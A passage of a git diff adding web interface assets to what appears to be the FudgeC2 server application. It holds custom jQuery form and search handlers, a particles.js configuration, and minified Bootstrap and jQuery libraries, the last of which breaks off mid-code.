$('#FormSubmissionModal').modal({show:true}) + document.getElementById('modal-password').innerHTML = response['password']; + document.getElementById('filename_input').value = response['filename']; + } + }) +} + + +$(function() { + $('#AddUserBtn').on('click', function (e) { + e.preventDefault(); + var $form = $('#AnswerForm'); + console.log($form.serialize()) + $.ajax({ + url: $form.attr("action"), + type: $form.attr("method"), + data: $form.serialize(), + success: function (response) { + document.getElementById('FormModalTitle').innerHTML = response['action']; + if (response['result'] == true) { + document.getElementById('modal-result').innerHTML = "

Success!

"; + } else { + document.getElementById('modal-result').innerHTML = "

Failure!

"; + }; + document.getElementById('modal-reason').innerHTML = response['reason']; + $('#FormSubmissionModal').modal({show:true}) + }, + error: function (response) { + alert('ajax failed'); + }, + }); + }); +}); + +// Used to filter out results in the Global settings page. +$(document).ready(function() { + $(".search").keyup(function () { + var searchTerm = $(".search").val(); + var listItem = $('.results tbody').children('tr'); + console.log(listItem) + var searchSplit = searchTerm.replace(/ /g, "'):containsi('") + console.log("aa") + + $.extend($.expr[':'], {'containsi': function(elem, i, match, array){ + return (elem.textContent || elem.innerText || '').toLowerCase().indexOf((match[3] || "").toLowerCase()) >= 0; + } + }); + + $(".results tbody tr").not(":containsi('" + searchSplit + "')").each(function(e){ + $(this).attr('visible','false'); + }); + + $(".results tbody tr:containsi('" + searchSplit + "')").each(function(e){ + $(this).attr('visible','true'); + }); + + var jobCount = $('.results tbody tr[visible="true"]').length; + $('.counter').text(jobCount + ' item'); + + if(jobCount == '0') {$('.no-result').show();} + else {$('.no-result').hide();} + }); +}); \ No newline at end of file diff --git a/FudgeC2/ServerApp/static/images/favicon-32x32.gif b/FudgeC2/ServerApp/static/images/favicon-32x32.gif new file mode 100644 index 0000000..dc62d08 Binary files /dev/null and b/FudgeC2/ServerApp/static/images/favicon-32x32.gif differ diff --git a/FudgeC2/ServerApp/static/images/favicon.ico b/FudgeC2/ServerApp/static/images/favicon.ico new file mode 100644 index 0000000..22f97b3 Binary files /dev/null and b/FudgeC2/ServerApp/static/images/favicon.ico differ diff --git a/FudgeC2/ServerApp/static/images/fudge.png b/FudgeC2/ServerApp/static/images/fudge.png new file mode 100644 index 0000000..d1b67eb Binary files /dev/null and b/FudgeC2/ServerApp/static/images/fudge.png differ diff --git a/FudgeC2/ServerApp/static/js/app.js b/FudgeC2/ServerApp/static/js/app.js new file mode 100644 index 0000000..30d30a5 --- /dev/null +++ b/FudgeC2/ServerApp/static/js/app.js @@ -0,0 +1,121 @@ +/* ----------------------------------------------- +/* How to use? : Check the GitHub README +/* ----------------------------------------------- */ + +/* To load a config file (particles.json) you need to host this demo (MAMP/WAMP/local)... */ +/* +particlesJS.load('particles-js', 'particles.json', function() { + console.log('particles.js loaded - callback'); +}); +*/ + +/* Otherwise just put the config content (json): */ + +particlesJS('particles-js', + + { + "particles": { + "fps_limit": 1, + "number": { + "value": 45, + "density": { + "enable": true, + "value_area": 400 + } + }, + "color": { + "value": "#ffffff" + }, + "shape": { + "type": "circle", + "stroke": { + "width": 0, + "color": "#000000" + }, + "polygon": { + "nb_sides": 5 + } + }, + "opacity": { + "value": 0.5, + "random": false, + "anim": { + "enable": false, + "speed": 3, + "opacity_min": 0.1, + "sync": false + } + }, + "size": { + "value": 5, + "random": true, + "anim": { + "enable": false, + "speed": 10, + "size_min": 0.1, + "sync": false + } + }, + "line_linked": { + "enable": true, + "distance": 100, + "color": "#ffffff", + "opacity": 0.4, + "width": 1 + }, + "move": { + "enable": true, + "speed": .5, + "direction": "none", + "random": false, + "straight": false, + "out_mode": "out", + "attract": { + "enable": false, + "rotateX": 600, + "rotateY": 1200 + } + } + }, + "interactivity": { + "detect_on": "canvas", + "events": { + "onhover": { + "enable": false, + "mode": "repulse" + }, + "onclick": { + "enable": false, + "mode": "push" + }, + "resize": false + }, + "modes": { + "grab": { + "distance": 400, + "line_linked": { + "opacity": 1 + } + }, + "bubble": { + "distance": 400, + "size": 40, + "duration": 2, + "opacity": 8, + "speed": 3 + }, + "repulse": { + "distance": 200 + }, + "push": { + "particles_nb": 4 + }, + "remove": { + "particles_nb": 2 + } + } + }, + "retina_detect": true, + } + +); \ No newline at end of file diff --git a/FudgeC2/ServerApp/static/js/bootstrap.bundle.min.js b/FudgeC2/ServerApp/static/js/bootstrap.bundle.min.js new file mode 100644 index 0000000..72a46cf --- /dev/null +++ b/FudgeC2/ServerApp/static/js/bootstrap.bundle.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.3 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],t):t(e.bootstrap={},e.jQuery)}(this,function(e,t){"use strict";function i(e,t){for(var n=0;nthis._items.length-1||e<0))if(this._isSliding)k(this._element).one(q.SLID,function(){return t.to(e)});else{if(n===e)return this.pause(),void this.cycle();var i=n=i.clientWidth&&n>=i.clientHeight}),u=0l[e]&&!i.escapeWithReference&&(n=Math.min(u[t],l[e]-("right"===e?u.width:u.height))),Ve({},t,n)}};return c.forEach(function(e){var t=-1!==["left","top"].indexOf(e)?"primary":"secondary";u=ze({},u,f[t](e))}),e.offsets.popper=u,e},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,n=t.popper,i=t.reference,r=e.placement.split("-")[0],o=Math.floor,s=-1!==["top","bottom"].indexOf(r),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]o(i[a])&&(e.offsets.popper[l]=o(i[a])),e}},arrow:{order:500,enabled:!0,fn:function(e,t){var n;if(!pt(e.instance.modifiers,"arrow","keepTogether"))return e;var i=t.element;if("string"==typeof i){if(!(i=e.instance.popper.querySelector(i)))return e}else if(!e.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),e;var r=e.placement.split("-")[0],o=e.offsets,s=o.popper,a=o.reference,l=-1!==["left","right"].indexOf(r),c=l?"height":"width",u=l?"Top":"Left",f=u.toLowerCase(),h=l?"left":"top",d=l?"bottom":"right",p=nt(i)[c];a[d]-ps[d]&&(e.offsets.popper[f]+=a[f]+p-s[d]),e.offsets.popper=Ge(e.offsets.popper);var m=a[f]+a[c]/2-p/2,g=Pe(e.instance.popper),_=parseFloat(g["margin"+u],10),v=parseFloat(g["border"+u+"Width"],10),y=m-e.offsets.popper[f]-_-v;return y=Math.max(Math.min(s[c]-p,y),0),e.arrowElement=i,e.offsets.arrow=(Ve(n={},f,Math.round(y)),Ve(n,h,""),n),e},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,m){if(at(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var g=$e(p.instance.popper,p.instance.reference,m.padding,m.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=it(_),y=p.placement.split("-")[1]||"",E=[];switch(m.behavior){case vt:E=[_,v];break;case yt:E=_t(_);break;case Et:E=_t(_,!0);break;default:E=m.behavior}return E.forEach(function(e,t){if(_!==e||E.length===t+1)return p;_=p.placement.split("-")[0],v=it(_);var n,i=p.offsets.popper,r=p.offsets.reference,o=Math.floor,s="left"===_&&o(i.right)>o(r.left)||"right"===_&&o(i.left)o(r.top)||"bottom"===_&&o(i.top)o(g.right),c=o(i.top)o(g.bottom),f="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&u,h=-1!==["top","bottom"].indexOf(_),d=!!m.flipVariations&&(h&&"start"===y&&a||h&&"end"===y&&l||!h&&"start"===y&&c||!h&&"end"===y&&u);(s||f||d)&&(p.flipped=!0,(s||f)&&(_=E[t+1]),d&&(y="end"===(n=y)?"start":"start"===n?"end":n),p.placement=_+(y?"-"+y:""),p.offsets.popper=ze({},p.offsets.popper,rt(p.instance.popper,p.offsets.reference,p.placement)),p=st(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,n=t.split("-")[0],i=e.offsets,r=i.popper,o=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return r[s?"left":"top"]=o[n]-(a?r[s?"width":"height"]:0),e.placement=it(t),e.offsets.popper=Ge(r),e}},hide:{order:800,enabled:!0,fn:function(e){if(!pt(e.instance.modifiers,"hide","preventOverflow"))return e;var t=e.offsets.reference,n=ot(e.instance.modifiers,function(e){return"preventOverflow"===e.name}).boundaries;if(t.bottomn.right||t.top>n.bottom||t.rightdocument.documentElement.clientHeight;!this._isBodyOverflowing&&e&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!e&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var e=document.body.getBoundingClientRect();this._isBodyOverflowing=e.left+e.right
',trigger:"hover focus",title:"",delay:0,html:!(An={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(Dn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},Nn="out",kn={HIDE:"hide"+wn,HIDDEN:"hidden"+wn,SHOW:(On="show")+wn,SHOWN:"shown"+wn,INSERTED:"inserted"+wn,CLICK:"click"+wn,FOCUSIN:"focusin"+wn,FOCUSOUT:"focusout"+wn,MOUSEENTER:"mouseenter"+wn,MOUSELEAVE:"mouseleave"+wn},xn="fade",Pn="show",Ln=".tooltip-inner",jn=".arrow",Hn="hover",Mn="focus",Fn="click",Wn="manual",Rn=function(){function i(e,t){if("undefined"==typeof Ct)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=e,this.config=this._getConfig(t),this.tip=null,this._setListeners()}var e=i.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(e){if(this._isEnabled)if(e){var t=this.constructor.DATA_KEY,n=yn(e.currentTarget).data(t);n||(n=new this.constructor(e.currentTarget,this._getDelegateConfig()),yn(e.currentTarget).data(t,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(yn(this.getTipElement()).hasClass(Pn))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),yn.removeData(this.element,this.constructor.DATA_KEY),yn(this.element).off(this.constructor.EVENT_KEY),yn(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&yn(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var t=this;if("none"===yn(this.element).css("display"))throw new Error("Please use show on visible elements");var e=yn.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){yn(this.element).trigger(e);var n=yn.contains(this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=we.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&yn(i).addClass(xn);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:yn(document).find(this.config.container);yn(i).data(this.constructor.DATA_KEY,this),yn.contains(this.element.ownerDocument.documentElement,this.tip)||yn(i).appendTo(a),yn(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new Ct(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:jn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(e){e.originalPlacement!==e.placement&&t._handlePopperPlacementChange(e)},onUpdate:function(e){t._handlePopperPlacementChange(e)}}),yn(i).addClass(Pn),"ontouchstart"in document.documentElement&&yn(document.body).children().on("mouseover",null,yn.noop);var l=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,yn(t.element).trigger(t.constructor.Event.SHOWN),e===Nn&&t._leave(null,t)};if(yn(this.tip).hasClass(xn)){var c=we.getTransitionDurationFromElement(this.tip);yn(this.tip).one(we.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},e.hide=function(e){var t=this,n=this.getTipElement(),i=yn.Event(this.constructor.Event.HIDE),r=function(){t._hoverState!==On&&n.parentNode&&n.parentNode.removeChild(n),t._cleanTipClass(),t.element.removeAttribute("aria-describedby"),yn(t.element).trigger(t.constructor.Event.HIDDEN),null!==t._popper&&t._popper.destroy(),e&&e()};if(yn(this.element).trigger(i),!i.isDefaultPrevented()){if(yn(n).removeClass(Pn),"ontouchstart"in document.documentElement&&yn(document.body).children().off("mouseover",null,yn.noop),this._activeTrigger[Fn]=!1,this._activeTrigger[Mn]=!1,this._activeTrigger[Hn]=!1,yn(this.tip).hasClass(xn)){var o=we.getTransitionDurationFromElement(n);yn(n).one(we.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(e){yn(this.getTipElement()).addClass(Tn+"-"+e)},e.getTipElement=function(){return this.tip=this.tip||yn(this.config.template)[0],this.tip},e.setContent=function(){var e=this.getTipElement();this.setElementContent(yn(e.querySelectorAll(Ln)),this.getTitle()),yn(e).removeClass(xn+" "+Pn)},e.setElementContent=function(e,t){var n=this.config.html;"object"==typeof t&&(t.nodeType||t.jquery)?n?yn(t).parent().is(e)||e.empty().append(t):e.text(yn(t).text()):e[n?"html":"text"](t)},e.getTitle=function(){var e=this.element.getAttribute("data-original-title");return e||(e="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),e},e._getAttachment=function(e){return An[e.toUpperCase()]},e._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(e){if("click"===e)yn(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(e){return i.toggle(e)});else if(e!==Wn){var t=e===Hn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=e===Hn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;yn(i.element).on(t,i.config.selector,function(e){return i._enter(e)}).on(n,i.config.selector,function(e){return i._leave(e)})}yn(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var e=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==e)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(e,t){var n=this.constructor.DATA_KEY;(t=t||yn(e.currentTarget).data(n))||(t=new this.constructor(e.currentTarget,this._getDelegateConfig()),yn(e.currentTarget).data(n,t)),e&&(t._activeTrigger["focusin"===e.type?Mn:Hn]=!0),yn(t.getTipElement()).hasClass(Pn)||t._hoverState===On?t._hoverState=On:(clearTimeout(t._timeout),t._hoverState=On,t.config.delay&&t.config.delay.show?t._timeout=setTimeout(function(){t._hoverState===On&&t.show()},t.config.delay.show):t.show())},e._leave=function(e,t){var n=this.constructor.DATA_KEY;(t=t||yn(e.currentTarget).data(n))||(t=new this.constructor(e.currentTarget,this._getDelegateConfig()),yn(e.currentTarget).data(n,t)),e&&(t._activeTrigger["focusout"===e.type?Mn:Hn]=!1),t._isWithActiveTrigger()||(clearTimeout(t._timeout),t._hoverState=Nn,t.config.delay&&t.config.delay.hide?t._timeout=setTimeout(function(){t._hoverState===Nn&&t.hide()},t.config.delay.hide):t.hide())},e._isWithActiveTrigger=function(){for(var e in this._activeTrigger)if(this._activeTrigger[e])return!0;return!1},e._getConfig=function(e){return"number"==typeof(e=l({},this.constructor.Default,yn(this.element).data(),"object"==typeof e&&e?e:{})).delay&&(e.delay={show:e.delay,hide:e.delay}),"number"==typeof e.title&&(e.title=e.title.toString()),"number"==typeof e.content&&(e.content=e.content.toString()),we.typeCheckConfig(En,e,this.constructor.DefaultType),e},e._getDelegateConfig=function(){var e={};if(this.config)for(var t in this.config)this.constructor.Default[t]!==this.config[t]&&(e[t]=this.config[t]);return e},e._cleanTipClass=function(){var e=yn(this.getTipElement()),t=e.attr("class").match(Sn);null!==t&&t.length&&e.removeClass(t.join(""))},e._handlePopperPlacementChange=function(e){var t=e.instance;this.tip=t.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(e.placement))},e._fixTransition=function(){var e=this.getTipElement(),t=this.config.animation;null===e.getAttribute("x-placement")&&(yn(e).removeClass(xn),this.config.animation=!1,this.hide(),this.show(),this.config.animation=t)},i._jQueryInterface=function(n){return this.each(function(){var e=yn(this).data(bn),t="object"==typeof n&&n;if((e||!/dispose|hide/.test(n))&&(e||(e=new i(this,t),yn(this).data(bn,e)),"string"==typeof n)){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return In}},{key:"NAME",get:function(){return En}},{key:"DATA_KEY",get:function(){return bn}},{key:"Event",get:function(){return kn}},{key:"EVENT_KEY",get:function(){return wn}},{key:"DefaultType",get:function(){return Dn}}]),i}(),yn.fn[En]=Rn._jQueryInterface,yn.fn[En].Constructor=Rn,yn.fn[En].noConflict=function(){return yn.fn[En]=Cn,Rn._jQueryInterface},Rn),Qi=(Bn="popover",Kn="."+(qn="bs.popover"),Qn=(Un=t).fn[Bn],Yn="bs-popover",Vn=new RegExp("(^|\\s)"+Yn+"\\S+","g"),zn=l({},Ki.Default,{placement:"right",trigger:"click",content:"",template:''}),Gn=l({},Ki.DefaultType,{content:"(string|element|function)"}),Jn="fade",Xn=".popover-header",$n=".popover-body",ei={HIDE:"hide"+Kn,HIDDEN:"hidden"+Kn,SHOW:(Zn="show")+Kn,SHOWN:"shown"+Kn,INSERTED:"inserted"+Kn,CLICK:"click"+Kn,FOCUSIN:"focusin"+Kn,FOCUSOUT:"focusout"+Kn,MOUSEENTER:"mouseenter"+Kn,MOUSELEAVE:"mouseleave"+Kn},ti=function(e){var t,n;function i(){return e.apply(this,arguments)||this}n=e,(t=i).prototype=Object.create(n.prototype),(t.prototype.constructor=t).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(e){Un(this.getTipElement()).addClass(Yn+"-"+e)},r.getTipElement=function(){return this.tip=this.tip||Un(this.config.template)[0],this.tip},r.setContent=function(){var e=Un(this.getTipElement());this.setElementContent(e.find(Xn),this.getTitle());var t=this._getContent();"function"==typeof t&&(t=t.call(this.element)),this.setElementContent(e.find($n),t),e.removeClass(Jn+" "+Zn)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var e=Un(this.getTipElement()),t=e.attr("class").match(Vn);null!==t&&0=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||eNo result found')); + } + }); +}); diff --git a/FudgeC2/ServerApp/static/js/jquery.min.js b/FudgeC2/ServerApp/static/js/jquery.min.js new file mode 100644 index 0000000..49d1fcf --- /dev/null +++ b/FudgeC2/ServerApp/static/js/jquery.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return 